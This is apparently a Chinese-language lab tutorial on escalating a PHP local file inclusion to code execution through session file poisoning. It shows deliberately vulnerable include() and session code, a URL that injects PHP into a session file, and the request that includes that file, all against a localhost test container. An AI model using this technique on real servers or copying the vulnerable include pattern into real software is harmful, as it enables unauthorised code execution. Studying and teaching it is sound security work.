PHP文件包含之sesion文件包含getshell
测试环境
PHP Version 5.3.3
Linux c9810faa45b0 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64
条件一:获取Session保存文件路径
- php.ini文件获取
- phpinfo页面查看
条件二:存在文件包含漏洞
以下代码为例
<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";
show_source(__FILE__);
?>
条件三:Session可控
<?php
show_source(__FILE__);
session_start();
$page = isset($_GET['page'])?$_GET['page']:'';
$_SESSION["name"]=$page;
?>
后端可以看到对应的Session文件以* sess_ *为前缀;且内容为用户输入的内容。
[root@c9810faa45b0 session]# ls -alht
total 16K
-rw------- 1 apache apache 25 Sep 5 13:08 sess_c49jouqp95g6mtmvfq89608nob
drwxrwx--- 1 root apache 4.0K Sep 5 12:39 .
drwxr-xr-x 1 root root 4.0K Jun 14 2017 ..
[root@c9810faa45b0 session]# cat sess_c49jouqp95g6mtmvfq89608nob
name|s:12:"cnblogcnblog";[root@c9810faa45b0 session]#
可以使用文件包含读取session文件:
getshell步骤
1.向session传入恶意代码
http://127.0.0.1:7003/test1.php?page=%3C?php%20phpinfo();?%3E
2. 获取session文件路径
Cookie: PHPSESSID=c49jouqp95g6mtmvfq89608nob
结合PHPinfo页面中的Session路径,即:
/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
3.getshell
访问http://127.0.0.1:7003/lfi.php?page=/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
引用资料
- docker image:italoc/php53 4cc33ed054d3 614MB
- refer:
https://www.cnblogs.com/-qing-/p/11039954.html#_label1